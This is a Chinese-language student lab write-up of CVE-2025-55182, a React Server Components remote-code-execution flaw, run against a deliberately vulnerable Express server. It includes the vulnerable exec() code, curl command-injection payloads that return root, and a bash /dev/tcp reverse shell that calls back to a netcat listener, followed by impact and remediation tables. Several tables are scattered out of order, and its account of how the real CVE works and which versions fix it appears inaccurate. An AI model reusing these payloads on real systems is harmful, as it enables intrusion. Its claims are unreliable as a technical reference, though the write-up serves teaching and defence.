Web 应用程序漏洞分析 · M2 网络安全 · 2025 作者:Niane Mohamed · LinkedIn
React 服务端组件中一个**严重(CVSS 10.0)**不安全反序列化漏洞的端到端利用链,涵盖从侦察到未授权远程代码执行的完整流程,并附带完整的修复路线图。
本研究针对一个刻意构建为易受攻击的实验室应用程序,用于演示该 CVE。所有测试均在隔离的虚拟网络中进行,与生产系统、真实用户数据或第三方服务无任何连接。
| 字段 | 值 |
|---|---|
| CVE | CVE-2025-55182 |
| 类型 | 不安全反序列化 → 远程代码执行 |
| CVSS v3.1 | 10.0(严重) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| 所需身份验证 | 无 |
| 所需用户交互 | 无 |
| 攻击向量 | 网络(远程) |
| 组件 | React 服务端组件(RSC)运行时 |
React 服务端组件引入了一种新的序列化格式,用于将服务端渲染的组件流式传输到客户端。在受影响的版本中,RSC 端点接受包含 cmd 字段的 JSON 负载,该字段未经清理即被传递给 child_process.exec(),作为服务端渲染评估的一部分。
攻击者可以发送一个精心构造的 POST 请求,该请求:
root)| 组件 | 受影响范围 | 修复版本 |
|---|---|---|
react | 19.0.0 → 19.2.0 | 19.3.0+ |
react-server-dom-webpack |
一个极简的 Express + RSC 服务器,暴露 /rsc 端点,不安全地执行来自传入负载的命令——以受控方式复现真实 CVE 的漏洞模式:
// server.js — simplified, lab-only
const express = require('express');
const { exec } = require('child_process');
const app = express();
app.use(express.json({ limit: '2mb' }));
app.post('/rsc', (req, res) => {
const payload = req.body?.payload;
if (typeof payload?.cmd === 'string') {
// VULNERABLE: executes attacker-controlled string
exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: String(err), stderr });
return res.json({ ok: true, out: stdout });
});
}
});
app.listen(3000);
# Port discovery
nmap 192.168.159.131
# → 3000/tcp open ppp (Node.js RSC server)
# Service verification
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."
X-Powered-By: Express 响应头和非常规的 3000 端口提供了强有力的指纹信息,表明这是一个 Node.js 应用程序——与 RSC 部署情况相符。
在尝试任何破坏性操作之前,先用一个无害命令验证漏洞:
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "id" } }'
# Response:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}
✅ 已确认: 以 root 身份进行未授权 RCE。服务器以无限制权限运行。
从单命令执行升级为完整交互式 Shell:
# Listener on attacker machine
nc -lvnp 4444
# Payload delivery
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'
监听器收到连接:
connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)
在目标上获得 root 权限后,攻击者可以轻松地:
/etc/shadow、SSH 密钥、应用程序机密、.env 文件这种攻击的复杂度极低——无需身份验证、无需用户交互、仅需单个 HTTP 请求——因此对以下群体具有吸引力:
将 React 升级到 19.3.0+ — 已修复版本
npm update react react-server-dom-webpack react-server-dom-esm
临时 WAF 规则(如升级延迟):
Block POST requests to /rsc with JSON body containing "cmd" field
紧急事件响应:
/rsc POST 流量| OWASP 类别 | 相关性 |
|---|---|
| A03:2021 — 注入 | 通过反序列化输入实现命令注入 |
| A08:2021 — 软件和数据完整性失效 | 未进行完整性验证的不安全反序列化 |
| A06:2021 — 易受攻击和过时的组件 |
curl 进行 HTTP 操作、反弹 Shell 构造、负载定制MIT 许可证 — 参见 LICENSE
出于教育和防御性研究目的发布。请参见文首的道德免责声明。
Niane Mohamed — 网络与安全工程师 📍 毛里塔尼亚,努瓦克肖特 → 正在德国寻求机会 🇩🇪 📧 [email protected] · 🔗 LinkedIn
| 19.0.0 → 19.2.0 |
| 19.3.0+ |
react-server-dom-esm | 19.0.0 → 19.2.0 | 19.3.0+ |
| 角色 | 操作系统 | 工具 |
|---|
| 攻击者 | Kali Linux(最新版) | nmap, curl, netcat, OWASP ZAP, Firefox |
| 目标 | Ubuntu 22.04.4 | Node.js 18, Express, React 19.0 RSC |
| 网络 | VMware VMnet 仅主机模式 | 无互联网出口 |
| 维度 | 影响 | 说明 |
|---|
| 机密性 | 严重 | 可完全读取服务器上的所有数据 |
| 完整性 | 严重 | 能够修改应用程序代码和用户数据 |
| 可用性 | 高 | 攻击者可终止服务或将其劫持以勒索赎金 |
| 监管 | 严重 | 违反 GDPR/DSGVO,须在 72 小时内强制披露 · 可能面临全球营收 4% 的罚款 |
| 声誉 | 严重 | 公开披露的 CVE 映射漏洞破坏客户信任 |
| 财务 | 高 | 应急响应成本、监管罚款、潜在的集体诉讼 |
| 控制措施 | 目的 |
|---|
| 如未使用则禁用 RSC | 减少攻击面——许多应用不需要服务端组件 |
| 严格的输入验证 | 拒绝任何包含可执行键的反序列化对象 |
| 非 root 容器用户 | 限制 RCE 再次发生时的爆炸半径 |
| 只读根文件系统 | 防止持久化和恶意二进制文件落地 |
| 出站流量过滤 | 阻止应用服务器到任意 IP 的出站流量 |
| 控制措施 | 目的 |
|---|
| 具备行为分析的 WAF | 检测超出签名规则的异常 POST 负载 |
| 运行时应用自我保护(RASP) | 在运行时阻止 exec() 等危险函数调用 |
| CI/CD 中的软件成分分析(SCA) | 在部署前捕获易受攻击的依赖(pip-audit、npm audit、Trivy) |
| 渗透测试节奏 | 每年一次 + 重大版本发布后 |
| 漏洞赏金计划 | 激励白帽在攻击者发现之前披露漏洞 |
| 披露后仍使用 React 19.0-19.2 |
| A05:2021 — 安全配置错误 | 以 root 身份运行 Node.js,无输入验证 |